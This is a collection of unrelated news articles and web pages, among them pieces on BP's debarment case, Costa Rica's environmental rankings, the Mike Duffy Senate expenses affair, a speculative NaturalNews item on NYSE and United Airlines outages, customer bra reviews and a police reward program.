she needed surgery and faced a six-month recovery period before she would be able to resume her full workload. She couldn’t type. She couldn’t drive. She couldn’t even raise her arm to put a dish in the microwave.  On March 1, Jeanne Pascal submitted her retirement papers, leaving the BP case she had worked on for nearly 12 years unresolved.  ***  The decision about whether or not to finally debar BP now falls to Carson Hodges, Pascal’s former junior co-counsel. The EPA confirmed to ProPublica that it suspended its settlement negotiations with BP after the Gulf disaster and that it will add whatever findings result from the Gulf investigations to any future settlement. Neither Hodges or the EPA would comment for this story.  Pascal, for what it’s worth, has finally reached her decision.  “I have to conclude that BP has a corrupt culture, and had I arrived at that conclusion while I was handling the case I would have immediately debarred them,” she said last week. “I would have just let the chips fall where they may.”  Contributors to this report include Ryan Knutson, Nicholas Kusnetz, Sasha Chavkin, Sydney Lupkin, Lisa Schwartz, Sabrina Shankman, Marian Wang, and Sheelagh McNeill at ProPublica and Martin Smith and Marcela Gaviria at PBS FRONTLINE.
-Why Costa Rica scores well on the happiness index  By James Painter  BBC News  Costa Rica is known for its biological diversity and richness Costa Rica - green and happy? Whatever the outcome of the presidential elections on Sunday, one thing seems certain. The country will continue to break the mould. Central America is a region still associated with coups and civil strife, but Costa Rica has no army. It was abolished in 1949. Successive governments have poured money into books, not bullets. Not even the recent threat of the Mexican drugs war spilling over has led to calls for the army's return. It was also the first developing country to state its aim of being carbon neutral (by 2021), in part through the mass planting of trees. Official figures suggest that it has bucked the trend of losing its forests: more than half its territory is now covered in trees, compared to 20% in the 1980s. And then there's Costa Rica's reputation for being one of the happiest and greenest countries in the world. It regularly appears top - or near the top - of international surveys. It is usually the only developing country to do so. The 2010 Environmental Performance Index was published last month by experts at Yale and Columbia Universities. Using 10 categories and 25 different measurements, Costa Rica was placed third out of 163 countries, up from fifth two years ago. PRESIDENTIAL POLL Voters: Must be 18 or older Winner must get 40%-plus to avoid run-off President elected for four-year term Main candidates: Laura Chinchilla - National Liberation Party  Otto Guevara - Libertarian Movement  Otton Solis - Citizens' Action Party Only Iceland and Switzerland outperformed it. The UK came 14th, the US 61st. "Things aren't perfect in Costa Rica," Christine Kim from Yale University told the BBC. "But basically the country does care about the environment. Other governments shove it down towards the bottom of their priorities." The latest version of the Happy Planet Index compiled by the New Economics Foundation (NEF), placed Costa Rica on top of every country in the world. It makes an explicit link between happiness and the environment, and combines three key variables - what people say about their life satisfaction, their longevity and their ecological footprint. Open cast mining Costa Ricans have a high life expectancy - 78.5 years - and a low ecological footprint, although the NEF says it still needs to do better. Some analysts question the validity of such international surveys, in part because they rely on self-reported happiness. And some non-governmental organisations, like COHA in Washington, question Costa Rica's green credentials when the government recently allowed a Canadian company to start open cast mining for gold. But greenness does seem to permeate both public policy and the private lives of Costa Ricans. The country pioneered a carbon tax in 1997 which is used in part to pay landowners and indigenous communities about $65 (£41) a hectare not to chop down trees. Well over 90% of its energy supply comes from renewable sources. I cannot be happy when the number of poor people is increasing  Bishop Melvin Jimenez Representatives from the business community, churches, diplomats, and farmers say they follow green policies, either voluntarily or because of the law. "Every time I construct any new building, I have to get a certificate from the national environment office that I am not damaging the environment," says Juan Francisco Montealegre, who owns a construction company. "For example, they have to be sure sewage will not contaminate nearby rivers." "I am very aware of my carbon footprint," says Pilar Saborio, Costa Rica's ambassador to the UK. "President (Oscar) Arias has asked cabinet ministers, vice-ministers and heads of government institutions to offset their flights out of their own pocket." If elected, Laura Chinchilla would be the first woman to be president Bishop Melvin Jimenez, from the Lutheran Church, told the BBC it was his church's policy to support a range of green initiatives, including "ecological sanctuaries" where congregations learn to grow crops, including medicinal plants, in an environmentally sound way. "I have my own organic garden where I grow carrots and other vegetables, I recycle and I use the car as little as possible," he says. Ricardo Ulate, a cattle farmer and adviser to the government on climate change, says that in the past 10 years he has planted trees on what was pastureland to improve the biodiversity on his farm, and has given up one of his two cars. Pura vida But does this "greenness" make Costa Ricans happier? "Yes," says Mr Ulate. "Now I have a simpler, less materialistic life, more in tune with nature." "We don't have a sensation of death," says Mr Montealegre. "Nothing is arid here, you can see life everywhere." He points out that Costa Ricans often answer the question 'How are you?' with the phrase "pura vida". It literally translates as "pure life" but roughly means "cool" or "everything's fine". But amid such upbeat views, Bishop Jimenez is more circumspect. "I cannot be happy when the number of poor people is increasing," he says. "And when the government is allowing open pit mining and exercising no control over multinationals growing melons and pineapples. International studies show they are using excessive amounts of agrochemicals." Analysts say that Costa Ricans' apparent happiness could be down to a whole series of factors in addition to greenness: strong social networks of friends, families and neighbours; ubiquitous social and education programmes; and tolerance of social divisions and different opinions. Mr Montealegre says there is another factor. "A popular piece of philosophy in Costa Rica says no argument or quarrel should last more than three days," he says.  Bookmark with: Delicious  Digg  reddit  Facebook  StumbleUpon What are these? E-mail this to a friend Printable version
-A New Jersey sixth-grader is going before a judge next week after apparently writing her name in wet cement.  Kelly Zierdt, 11, and a group of her friends allegedly etched their names in wet cement outside their Middlesex Township Middle School. Police caught the group in the act as they were driving past.  One of the officers said, "'let’s put these kids in the back of the car; we’re bringing them to headquarters,'" according to Zierdt. "And then me and my friends started crying our eyes out,” My9News reports.  Her dad says the situation "has snowballed into this giant catastrophe."  That’s because police say Kelly’s dad, unlike the other parents, refuses to pay a $250 fine to her middle school to pay for the vandalism and refuses to sign the parent/child and police agreement as punishment.  Lt. Mike Colacci of the Middlesex Police Department says that the parents help to come up with what they believe is a suitable punishment for the action of their children, “like a 5 o’clock curfew, or chores around the house. In this case they had to write an essay as to why they did this,” Colacci told My9News.  But Zierdt's father says his honor student daughter has already learned her lesson and so he will fight in court.  “I feel scared,” Zierdt said when asked about appearing before a judge.  Click here for more on this story from My9News.
-(NaturalNews) A pair of "glitches" that occurred in the IT systems of the New York Stock Exchange and United Airlines Wednesday look an awful lot like a cyber attack, according to some experts and observers, though officially, thus far, the glitches are not being described in that manner.As reported by, the United Airlines snafu Wednesday morning forced the company to ground or delay about 3,500 flights for as long as two hours. Not long after, a "technical glitch" forced the NYSE to halt all trading, with few details being provided.CNN further reported that the Federal Aviation Administration imposed on United what is known as a "ground stop" at 8:26 a.m.; that prevented all United flights from taking off. The news network also reported that the airline's ticket agents were forced to issue tickets by hand at a number of airports."The problem highlights how powerful and delicate these airline computer systems are, which is something to keep in mind as we consider the problem of hacker mischief and cyber-warfare, although there doesn't seem to be any indication of deliberate sabotage in this case,"added.And yet it is hard to imagine that the two incidents were unrelated, especially given that they were both computer-related "glitches." And apparently others think so too; not so ironically, cyber security stocks soared in other markets.Some reports were downplaying the cyber/hacking angle. CNN reported:Onehost even opined that recent IT personnel cutbacks at the NYSE might have been the reason for the glitch. "Do you think they maybe cut costs too much?" he asked a reporter.But such "logic" flies in the face of reality, which is, if the NYSE is so complex and the IT department so understaffed, why haven't there been more of these "glitches"? And what about the occurrence ofsystems glitches just hours apart, one in the U.S. transportation sector and one in the financial sector – two areas of vital infrastructure?Another oddity: As reported by, whose own website (along with that of) was affected Wednesday morning as well (see here ), hackers from China seemed particularly interested in launching distributed denial of service (DDOS) attacks on "targets" in and around St. Louis at the time of this writing (monitor cyber attacks in real time here ).It was not immediately clear why the St. Louis region was of particular interest, but, in separate report , noted that a company which tracks cyber attacks in real time and displays them online, Norse, is located in St. Louis. In addition, the report noted, there are several Internet servers for major corporations based in and around the city as well."But the attacks, rudimentary as they are, could easily bring down U.S. corporates [] and government infrastructure which have struggled to keep up with the millions of computers attached to Chinese botnets (networks of 'zombie' computers) which are linked to the attacks,"reported.The report went on to suggest that the upsurge in DDOS attacks could be linked to Greece's financial problems and, in particular, the country's recent referendum in which Greek citizens voted resoundingly to abandon austerity measures imposed on the country by EU financial institutions in exchange for hundreds of millions of euros in bailout funds in 2012 – the "Archduke Franz Ferdinand" moment of our time:Of course, that is all just theory now. But what is clear is that "glitch" isn't an adequate explanation for what occurred on Wednesday.
-In a memo to full-time and part-time staff and volunteers, Jones urged those with a valid Ohio CCW License to carry their weapon within the department’s headquarters at 705 Hanover St. in Hamilton.  He also encouraged employees to carry their weapon while operating any department vehicle away from the headquarters.  The memo — which was directed to office-type personnel, not deputies — came Friday after recent attacks against police officers across the country over the past two weeks.  In the memo, Jones also urged employees to plan their attire appropriately and carry their weapon discreetly when in public view.  Anyone entering the correctional facility must secure their weapon and ammunition in the lock box prior to entering the jail compound, he wrote.  Personnel must adhere to all CCW guidelines when off-premises, including observation of posted signs on any businesses, banks and government buildings prohibiting concealed carry, he wrote.  Chief Deputy Anthony Dwyer, 53, who has been in law enforcement for 32 years, said officers are trained to “take an account of what’s around” them when they’re in public. But after years in law enforcement, he said, it’s easy for officers to become complacent.  “It does fade,” he said of the training.  But the recent attacks against police officers has brought that technique “back to the forefront,” Dwyer said.  “You have to pay attention now more so than ever,” he said.  Middletown Police Chief Rodney Muterspaw agreed. He said it’s up to the supervisors, but some officers are riding two to a cruiser during certain shifts.  “They play it by ear,” Muterspaw said of the policy.  He has told his officers to never consider any call “routine.” There are no such calls in the police department, he said.  “You always have to be observant,” he said. “Look and see what’s around that car. You just never know. You have no way of knowing who you are stopping.”  Following the shooting of police officers nationwide, Muterspaw said his department has received tremendous support from the Middletown community. He said residents have delivered food, cards and letters to the police station.  That is the result of community policing, he said.  “I’m really proud of our outreach in the community,” he said. “We have stepped it up. We work with our community. We have gotten to know them. That’s huge. That makes a difference in every town.”  Dwyer and Muterspaw also said social media has changed people’s perspective of law enforcement officers.  They said people are taping interactions with police officers with their cell phones, then broadcasting the videos, sometimes only a few seconds in length, on the Internet. They said those who watch the videos, then react to what they see, sometimes without knowing the entire story.  “Social media has changed everything,” Muterspaw said. “They see five seconds and they’re ready to charge and convict. Everybody is a lawyer because they have a cell phone.”  But Muterspaw realizes there are times when officers are shown acting inappropriately.  “We have to do a better job and if every cop doesn’t believe that, they shouldn’t be in the business,” Muterspaw said. “We don’t always do right. When a bad cop does something wrong, that is negative for every good cop. Good cops shouldn’t mind being under the microscope.”
-Video  The transit of Venus, where the planet Venus passes directly between the Earth and the Sun, will begin just a few minutes after 22:00 GMT (23:00 BST) on Tuesday 5 June and will end just before 04:55GMT (05:55 BST) on Wednesday 6 June.  As it happens, Venus appears as a small black dot moving across the surface of the Sun.  Here, science presenter Liz Bonnin explains how the transit works and why it is such a rare event - the next one will not happen until 2117.  Experts warn never to look directly at the Sun without special eclipse glasses, and not to view it through binoculars or a telescope, which could result in serious injury or blindness  Horizon: The Transit of Venus is broadcast on Tuesday 5 June at 2100 BST on BBC Two in the UK and afterwards on the BBC IPlayer.
-Chuck Steel: Raging Balls of Steel Justice – Interview with creator Mike Mort 18 December 2014 // Featured, Interviews Steve Henderson Editor & Writer - mr_s_henderson  UPDATE: You can now watch the full film in its explosive glory below!  Chuck Steel: Raging Balls of Steel Justice is the testosterone fuelled, madcap adventure from Gogs co-creator Mike Mort. The eponymous Chuck Steel is a fists first, questions later cop who is called on to deal with a hostage situation in a fifteen minute thrill ride that manages to cram every 80’s action movie cliché into a gloriously explosive flick.  What makes this film all the more impressive is that fact that something with such a high production value started life in the basement as a part time project before securing funding after the project had begun. Chuck Steel’s adventures have struck a cord with audiences eager to see more of the high octane adventures and will be pleased to know that the short has spawned a feature film Chuck Steel: Night of the Trampires due for release in 2017  Mike Mort  We caught up with Mike Mort to find out how the film was made and what the future has in store for Chuck Steel.  Who is Chuck Steel?  Chuck Steel is a character that has been with me for quite a long time, he is someone that I used to draw in my English book at school, so well over 20 years in the making, the short film, Raging Balls of Steel Justice is the culmination of me finally getting this film made.  Seems like quite a long time in the making then!  The earliest Chuck Steel film I did when I was 15 was a super 8 film called Armageddon Time which was done long before I learned to animate or went to college. That is when the character first appeared apart from the doodles in my schoolbooks. After that I decided to do another super 8 film called Hard as Hell whilst I studied at the Newport film school. The character has been with me a long time so he feels like my alter ego!  The short is clearly influenced by the films of the 1980’s, are you an animator making an 80’s action film or an action filmmaker using animation?  The films I watch now and the films I loved as a kid were the one of the 80s, they got me into filmmaking and although I still watch a lot of fantasy and action film now, after CGI came in I think something got a little lost. I still watch the old films with real fire and real explosions and the features with real prosthetics, animatronics and stop motion creatures. All of those films from the 80s were a big influence of Chuck Steel. When I first made the Super 8 films back in the 80s when this thing was still going on they weren’t so much of a homage but more like a film but because a lot of time as passed all of these ideas I’ve had stuck in my head have come out in one 15 minute film and because they’re all based around that 80’s action vibe it does feel more like a homage – Although its definitely not a spoof!  It difficult to know where the line is drawn really between spoof and homage given the nature of the film.  There was never an intention to make it a big homage, I just wanted to make a film full of the things I loved. Over the years I’ve tried to get the money together to get this project off the ground in various ways and encountered a few false starts and dead ends. Just before I started this short film I thought that I’d never get it made and I was ready to put the film on the shelf forever but something spurred me on, and it might sound ridiculous but it was the first Expendables film! Seeing all those 80’s action heroes getting back together and having another crack at it made me think of giving the film another shot on my own in my basement, like I used to make my old super 8 films. Gradually as I made the puppets and the sets we got some funding from a producer friend of mine Joe D’Morais who got me onto another producer friend of his called Rupert Lywood who happened to be a big fan of Gogs which I did many years ago. Rupert helped me fund the short and is now the key funder on the Chuck Steel feature film.  Where I would expect to see a long list of credits it appears you did the film with a small crew how did the film evolve through its production?  When the film started it was just myself. I had various armatures left over from jobs I’d done over the years so pulled them apart and reconditioned them. I had a friend called Dave Sethi, a model maker who came in to help me with the props and the little robot character. I started building the set after converting my basement into a working studio space and just cracked on with that. I had the shell of the set put together when the funding came through and so I could employ more people to help out.  Do you have any specific heroes of animation or influences?  To be honest, although I like and follow animation , I prefer live action films. I’ve always made my films using animation because making films on a small scale was the only option I had and I’ve continued with that throughout my career. In terms of animation I am a huge fan of the work of Ray Harryhausen and Phil Tippet who are more effects based. The actual claymation side of things I’d say Will Vinton probably is an influence more than any other claymation animator.  Is the entire film stop motion? There is a smooth transformation scene that look live action or puppet based.  Its all stop motion. The way I approached the film was “how would they have approached this in the 80’s if this was a live action film” so we made heads that could stretch using mechanisms inside and filmed that frame by frame.  The short film is a wonderfully condensed view of 80’s action films, what have you have in mind for the feature?  That’s what I wanted to do with it. The feature fim is a standalone story, called Night of the Trampires – you can probably guess what happens with just the title, I don’t only wish to make an action film, I want it to be full of B-movie references and monsters, I don’t see why we should hold back on this we should just go for it!  How do you keep the fluid consistency of the animation do you use replacements?  No all the animation is sculpted, it’s a time consuming and tricky process to keep that consistency.  Would you ever consider using replacements in future or rapid prototyping?  We want to keep as much plasticine in there as possible, we don’t want to go into the rapid prototyping side of things because it is very expensive and a huge management task. I think we will use replacement lip areas but always encourage the animators to sculpt. Luckily the animators on the short had a lot of sculpting experience so we need to find more people like that just to keep the look the same. I really want to keep that plasticine feel where we can.  How are you finding the change of scale from short to feature?  I’m really enjoying it, we’ve got a huge task ahead of us setting up the new studio but moving ahead were due to start building the puppets in January. The process of making a feature film is fine as the idea has been in my head for so long I’m not daunted by it. I wrote the script in 2003, it’s the one I’ve been trying to get off the ground for a while so we’ve come back to it. I’m finally getting it made – its nice to get to that point eventually! Click on the production images below for the bigger picture  You can download the entire film for just 99p over on the Chuck Steel website here or buy a physical copy on DVD by following the link below. Keep up to date with the progress of Night of the Trampires by liking and following Chuck Steel on Facebook and Twitter too.  Items mentioned in this article:
-US President-elect Donald Trump has sparked Israeli concerns following his announcement that he intends to nominate General James Mattis to serve as Secretary of Defense.  The retired US Marine Corps General nicknamed “Mad Dog” served in both Iraq and Afghanistan and has been an outspoken critic of the Obama administration, especially in regards to the policy in the Middle Eastern and North African.  The General, who is known for his hawkish policies is also a heavy critic of the Iran nuclear deal and is vehemently against the closure of Guantanamo Bay. He has previously claimed that Iran “remains the single most belligerent actor in the Middle East.”  Republican Jews Embrace James Mattis as Defense Chief — Despite Israel 'Apartheid' Remarks https://t.co/GsgcU8LOnm via @jdforward — Nathan Guttman (@nathanguttman) December 2, 2016  He has also been condemned by pro-Israel groups for his comments that settlements in the occupied West Bank are leading Israel becoming an “apartheid” state.  “If I’m in Jerusalem and I put 500 Jewish settlers out here to the east and there’s 10,000 Arab settlers in here, if we draw the border to include them, either it ceases to be a Jewish state or you say the Arabs don’t get to vote — apartheid.”  Israeli daily newspaper Haaretz reported three years ago:  Mattis: I paid a military-security price every day as CentCom cmdr because Americans were seen as biased for Israel https://t.co/vCtCxLEKK7 — Kevin MacDonald (@TOOEdit) December 2, 2016  “A former U.S. general said last week that the United States is paying a military and security price “every day” because of the Israeli-Palestinian conflict, warning that the continued construction of settlements is liable to turn Israel into an apartheid state. “Gen. (ret.) James Mattis, who until two months ago headed the Central Command of the U.S. Army (CENTCOM) and commanded U.S. forces in the Middle East, made the comments at an Aspen Institute conference last Saturday… “Gen. (ret.) Mattis then sounded a prophecy of doom regarding what is liable to happen if a Palestinian state is not established. “I would tell you that the current situation is unsustainable,” he said, adding, “It’s got to be directly addressed. We have got to find a way to make the two-state solution that Democrat and Republican administrations have supported. We’ve got to get there, and the chances for it are starting to ebb because of the settlements, and where they’re at. [They] are going to make it impossible to maintain the two-state option.””  (MEMO, PC, Social Media)
-Customer Reviews for Curvy Couture Convertible Spacer T-Shirt Bra  Size: 42D Size:  Great quality and perfect fit. I will be purchasing more of this brand. I think it fits true to size. Maria from Kansas City Height: Average Height (5'4"-5'8")  Average Height (5'4"-5'8") Age: 50s  50s Posted: February 8,2018 Great quality and perfect fit. I will be purchasing more of this brand. I think it fits true to size.  Size: 40G Size:  Cups run small. I measure 40/47 (40 D4). Curvy Couture is hit and miss with sizing. This particular style seems to fit small. The cups were very snug, and the elastic upper trim of the cups (the part that form a V from the centerline) digs into my breast, creating the classic quad boob. The cup sizing probably wouldn't be a problem with a different shape. Elastic follows a bad line for my shape. Cups run small. I measure 40/47 (40 D4). Curvy Couture is hit and miss with sizing. This particular style seems to fit small. The cups were very snug, and the elastic upper trim of the cups (the part that form a V from the centerline) digs into my breast, creating the classic quad boob. The cup sizing probably wouldn't be a problem with a different shape. Elastic follows a bad line for my shape. Curvy Couture Response: Spacer Fabric Technology is uniquely designed to conform to your body's shape, which may cause your bra to feel a bit snug at first. The natural give of cups allows for gradual stretch and contouring. We suggest choosing the larger cup size if you’re in between two-cup sizes. If you want to give this bra another chance, we suggest going up a cup size (40H). Jennifer from Phoenix, AZ Height: Average Height (5'4"-5'8")  Average Height (5'4"-5'8") Age: 30s  30s Posted: December 18,2017  Size: 38H Size:  My new favorite bra!! Love ... fits perfectly. Katy from Height: Average Height (5'4"-5'8")  Average Height (5'4"-5'8") Age: 40s  40s Posted: November 13,2017 My new favorite bra!! Love ... fits perfectly.  Size: 44H Size:  Beautiful bra but it lacks support. Beautiful bra but it lacks support. Curvy Couture Response: Since this bra is made with a very different type of fabric than you’re used to wearing, we could see how it “lacks” compared to others. Spacer fabric is lightweight, thin and conforms to your body shape, giving you a second skin fit. You can try to wear it cross back, which would help with giving you more support. If this material does not work for you all together, we suggest trying any of the other molded or unlined bras by Curvy Couture. Bobbie from Los Angeles, CA Height: Average Height (5'4"-5'8")  Average Height (5'4"-5'8") Age: 50s  50s Posted: September 20,2017  Size: 42H Size:  My normal size was a little small, so I returned it and ordered the next larger size and it fit perfectly! Kristy from Height: Petite (5'3" and under)  Petite (5'3" and under) Age: 60s  60s Posted: September 5,2017 My normal size was a little small, so I returned it and ordered the next larger size and it fit perfectly!  Size: 36DDD Size:  Great fit Jenny from LOUISVILLE Height: Petite (5'3" and under)  Petite (5'3" and under) Age: 50s  50s Posted: March 29,2017 Great fit  Size: 40H Size:  I like the style of the bra, but am very disappointed that the adjustable straps constantly slip off my shoulder. I like the style of the bra, but am very disappointed that the adjustable straps constantly slip off my shoulder. HerRoom Response: Thank you for your feedback! We suggest you visit our Bra Fit Center and watch our video over How to Keep Your Bra Straps From Falling Off Your Shoulders. Stephanie from Tustin, CA USA Height: Petite (5'3" and under)  Petite (5'3" and under) Age: 40s  40s Posted: April 11,2016
-As a man who might now be regarded as something of an expert in the nature of knowledge and expectation once said, “There are known knowns; there are things we know that we know. There are known unknowns; that is to say, there are things that we now know we don’t know. But there are also unknown unknowns – there are things we do not know we don’t know.”  In the case of Mike Duffy and the housing allowance, there are a few things that fit the first category, but mostly there are things that fall within the second, and then surely still now there might be things to come that presently exceed our understanding and thus fit the third. After three days of claims and counter-claims—following nearly a year of reports, allegations and findings and with investigations still being pursued—the Duffy affair is thus still mostly open to imagination and supposition.  Herein, a look at the claims and accounts around seven aspects of the affair.  What was Mike Duffy told about his expenses?  After the Ottawa Citizen questioned the senator’s claim of a housing allowance in December 2012, Mr. Duffy says he reached out to Nigel Wright. “Nigel Wright emailed me back, saying he had my expenses checked and he was satisfied that my accounts were in order, that all was in compliance with Senate rules,” Mr. Duffy told the Senate on Tuesday evening. “In fact, he said, there were several other senators in the same situation. This was in December 2012. Mr. Wright said: The story is a smear.”  Mr. Duffy also claimed to have a memo from Marjory LeBreton, leader of the government in the Senate until this summer, that supports his position that his claims were within the rules. “I’ve violated no laws, I’ve followed the rules and I’ve got a ton of documentation, including a memo, a two-page memo from Sen. LeBreton’s office about it, and I never received a single note from Senate finance or the leadership that suggested anything in my travels was amiss.”  Senator LeBreton says she has no idea what Mr. Duffy is talking about. “What two-page memo? I have searched high and low and checked my files, and, for the life of me, I can find no memo that supposedly gives my approval to Senator Duffy to claim his property in Prince Edward Island as a principal residence in order to claim living expenses in Ottawa,” she told the Senate on Thursday night.  The February 13 meeting  Mr. Duffy says that after a February 13 meeting of the Conservative caucus, he spoke with the Prime Minister Minister and Nigel Wright. The Prime Minister’s Office previously disclosed, on May 31, that this conversation had taken place.  Mr. Duffy recalls the meeting as follows: “So after caucus on Feb. 13 of this year, I met the prime minister and Nigel Wright, just the three of us. I said that despite the smear in the papers, I had not broken the rules, but the prime minister wasn’t interested in explanations or the truth. It’s not about what you did; it’s about the perception of what you did that has been created in the media. The rules are inexplicable to our base. I argued: I’m just following the rules like all of the others. But it didn’t work. I was ordered by the prime minister: Pay the money back, end of discussion. Nigel Wright was present throughout, just the three of us.”  Mr. Harper says he told Mr. Duffy to repay the expense claims. But he told the House on Wednesday that he did not say the other comments that Mr. Duffy suggests he said.  Was Mr. Duffy threatened with expulsion from the Senate?  Mr. Duffy says he was told that if he didn’t repay his expenses, some effort would be made to have him found unqualified to sit in the Senate. “He said the Conservative majority on the steering committee of the Board of Internal Economy, Sen. Tkachuk and Sen. Stewart Olsen, would issue a press release declaring me unqualified to sit in the Senate. However, if you do what we want, the prime minister will publicly confirm that you’re entitled to sit as a senator from P.E.I. and you won’t lose your seat. Tkachuk and Stewart Olsen are ready to make that press release now. I said: They don’t have the power to do that. He said: Agree to what we want right now or else.”  (It isn’t entirely clear who the “he” is here.)  On Wednesday, Thomas Mulcair asked the Prime Minister whether he threatened Mr. Duffy with expulsion during the February 13 meeting. “At that particular time did I threaten him with expulsion?” the Prime Minister responded. “No.”  On Thursday, Mr. Mulcair followed up on Mr. Harper’s reference to “that particular time.” “When did the Prime Minister threaten to expel Mike Duffy from the Senate?” the NDP leader asked. The Prime Minister did not provide a direct answer in response.  Speaking after Mr. Duffy on Tuesday evening, Conservative Senator David Tkachuk denied any role in a conspiracy to have Mr. Duffy removed from the Senate. “He went to great lengths to talk about the conspiracy in the Office of the Prime Minister to remove him from the Senate, of which he did not say that others had told him, but implied here that I and Senator Carolyn Stewart Olsen were a part of. Nothing could be further from the truth. Nothing could be further from the truth,” Mr. Tkachuk said. “I want to assure senators, and I’m saying this in front of all my colleagues here, that I would never, ever participate in a conspiracy like this — never. I would never, ever participate in a conspiracy like this for any senators, let alone one of my colleagues on this side of the floor.”  The Deloitte audit  Mr. Duffy says that part of his agreement with Nigel Wright involved him being shielded from an outside audit of his expenses. “There was an undertaking made by the PMO, with the agreement of the Senate leadership, that I would not be audited by Deloitte, that I’d be given a pass; and further, that if this phoney scheme ever became public, Sen. LeBreton, the leader of the government of the day, would whip the Conservative caucus to prevent my expulsion from the chamber.”  Ms. LeBreton says she had no knowledge of any such arrangement. “Honourable senators, this is not true. This is false. Not one single person ever suggested to me that this be done. Never did I hear of such a scheme. As a matter of fact, on Tuesday, when Senator Duffy uttered those words, it was the first time I had ever heard of this. It was news to me. There was not even a rumour around this place to that effect, illustrating how utterly preposterous this claim is. On the question of the Deloitte audit, where on earth did Senator Duffy ever get the notion that I, as part of Senate leadership, would agree that he would not be audited, that he would be given a pass? This is another blatant falsehood. I stated publicly many times that I fully supported the calling in of outside auditors.”  Mr. Duffy says he was “sent off” to Deloitte anyway, but that he was then told (by an unnamed individual) that he didn’t need to give the auditors anything.  The May 16 phone call  In his remarks to the Senate, Mr. Duffy described a phone call involving Senator LeBreton and Ray Novak, principal secretary to the Prime Minister at the time and Nigel Wright’s successor as chief of staff. Senator LeBreton would later place this call as occurring on May 16, two days after CTV first reported the existence of a deal between Mr. Wright and Mr. Duffy.  Mr. Duffy describes the call thusly: “Then, in May, after someone leaked selected excerpts of a confidential email I had sent to my lawyer in February, in which I voiced my opposition and concern about the deal, the PMO was back with a vengeance. I was called at home in Cavendish by Ray Novak, senior assistant to the prime minister. He had with him Sen. LeBreton, leader of the government in the Senate. Sen. LeBreton was emphatic: The deal was off. If I didn’t resign from the Conservative caucus within 90 minutes, I’d be thrown out of the caucus immediately, without a meeting, without a vote. In addition, she said, if I didn’t quit the caucus immediately, I’d be sent to the Senate ethics committee, with orders from the leadership to throw me out of the Senate. With Ray Novak, my wife and my sister listening in on the call, Sen. LeBreton was insistent: You’ve got to do this, Mike. Do what I’m telling you. Quit the caucus within the next 90 minutes. It’s the only way to save your paycheque, quote.”  Ms. LeBreton recounts the call as follows: “Two scenarios were laid out for his consideration. I can only speak for myself here and report on my notes of what I said, but I ask the question: What deal, when he said the deal was off? Consider the chronology, honourable senators. On May 9, we reported in the Senate the audits. Senator Duffy, as far as we knew, had borrowed money from the Royal Bank and repaid to the Senate his inappropriate expenses, and then, following that, there was a report that he claimed further expenses from the Senate and the Conservative Party during the election campaign. We then found out about the real source of the funds on May 14 and confirmed on May 15, so put that in context when he said that I said the deal was off. This makes no sense.  “So we laid before Senator Duffy two scenarios. Scenario 1 was that I would put out a statement saying that Senator Duffy has informed me that he has resigned from the caucus to sit as an independent senator; and scenario 2 was that I would put out a statement saying that given the growing number of questions related to Senator Duffy’s conduct, he has been removed from the Conservative caucus.  “Once he was presented with these options, I said to him, and I quote myself because I wrote my words down: ‘Mike, do the right thing and get out in front of this.’ Naturally, he did not take this news well. There were some back and forth discussions about the implications of this and how the announcement of this would unfold. Honourable senators, because I could tell he was concerned, I said the following in order to assure him that sitting as an independent did not impact his position as a senator. ‘Mike,’ I said, ‘this is the only option that can ensure your future livelihood.’ A few angry words were spoken, and he hung up on us. Cooler heads eventually prevailed, and we got word back that he would issue a statement saying he was leaving to sit as an independent until these matters were resolved.”  The paper trail  Official requests for documentation of Mr. Duffy’s dealings with the PMO have so far turned up no documents.  According to the RCMP, Mr. Wright has provided investigators with “hundreds of pages of emails” and a binder of documents compiled by Mr. Duffy.  Mr. Duffy suggests some kind of paper trail exists. “Given all of those emails, you can imagine my shock when I heard there’s not a single document about all of this in the PMO, not one. In response to an access-to-information request, CBC was told there’s not one single document related to this matter in the PMO. Well, if they’re not in the PMO, they’re in the hands of my lawyers and I suspect in the hands of the RCMP. Why don’t I release those documents now? Because the people involved have rights, which under our system, must be protected. Are the police looking at possible criminal charges? Are they wondering about bribery, threats and extortion of a sitting legislator? This is serious stuff, and the people who were involved and there’s more than those I’ve mentioned here today deserve to have their rights protected. It’s the Canadian way. It will all come out in due course when all of the players are under oath and the email chain can be seen in its entirety.”  Who knew? (And what did they know?)  The Prime Minister is adamant he had no idea Nigel Wright had cut Mike Duffy a cheque. According to Mr. Harper, he only became aware of this fact on May 15, when Mr. Wright told him.  According to an RCMP filing, Mr. Wright recalled telling four people that he would personally provide funds to Mr. Duffy: David van Hemmen (Mr. Wright’s executive assistant), Benjamin Perrin (legal counsel to the Prime Minister at the time), Chris Woodcock (director of issues management in the PMO at the time, now chief of staff to Natural Resources Minister Joe Oliver) and Conservative Senator Irving Gerstein.  Mr. Perrin has said he was “not consulted on, and did not participate in, Nigel Wright’s decision to write a personal cheque to reimburse Senator Duffy’s expenses.”  Mr. Duffy says “elaborate undertakings” were “negotiated among the several lawyers involved in this … at least two lawyers from the PMO, one I know of from the Conservative party and my own lawyer.”  CTV claims that 13 “Conservative insiders” were aware of Mr. Wright’s cheque for Mr. Duffy.  Mr. Tkachuk and Ms. Stewart Olsen say they had no knowledge of Mr. Wright’s payment to Mr. Duffy.
-Starting Wednesday, officers with the Fountain Inn Police Department have permission from the chief to reward drivers they pull over with a debit card for following the law.Chief Keith Morton said that officers will not stop drivers simply to give them a card."It will not be the primary reason for the stop," said Morton. "If we stop them for an equipment violation, but they have their paperwork together, we'll reward them, too."Morton said they could also be rewarded for going the speed limit or wearing a seat.Morton said his officers are going to have a great deal of latitude to determine what it is they see someone doing right.He said, "This is a way we can have positive interactions with people."Each debit card has freebies and discounts to four of the 12 local businesses participating in the program.A majority of those businesses are along Main Street, which is going to be under construction for several different projects."We want to make sure we're doing something to help our downtown merchants stay in business," said Morton.Every officer will get a predetermined number of cards.Once the debit cards are used, the police officers will pick them back up at the businesses and recycle them.It will be the way they track how successful the program is in the community.  Starting Wednesday, officers with the Fountain Inn Police Department have permission from the chief to reward drivers they pull over with a debit card for following the law.  Chief Keith Morton said that officers will not stop drivers simply to give them a card.  Advertisement  "It will not be the primary reason for the stop," said Morton. "If we stop them for an equipment violation, but they have their paperwork together, we'll reward them, too."  Morton said they could also be rewarded for going the speed limit or wearing a seat.  Morton said his officers are going to have a great deal of latitude to determine what it is they see someone doing right.  He said, "This is a way we can have positive interactions with people."  Each debit card has freebies and discounts to four of the 12 local businesses participating in the program.  A majority of those businesses are along Main Street, which is going to be under construction for several different projects.  "We want to make sure we're doing something to help our downtown merchants stay in business," said Morton.  Every officer will get a predetermined number of cards.  Once the debit cards are used, the police officers will pick them back up at the businesses 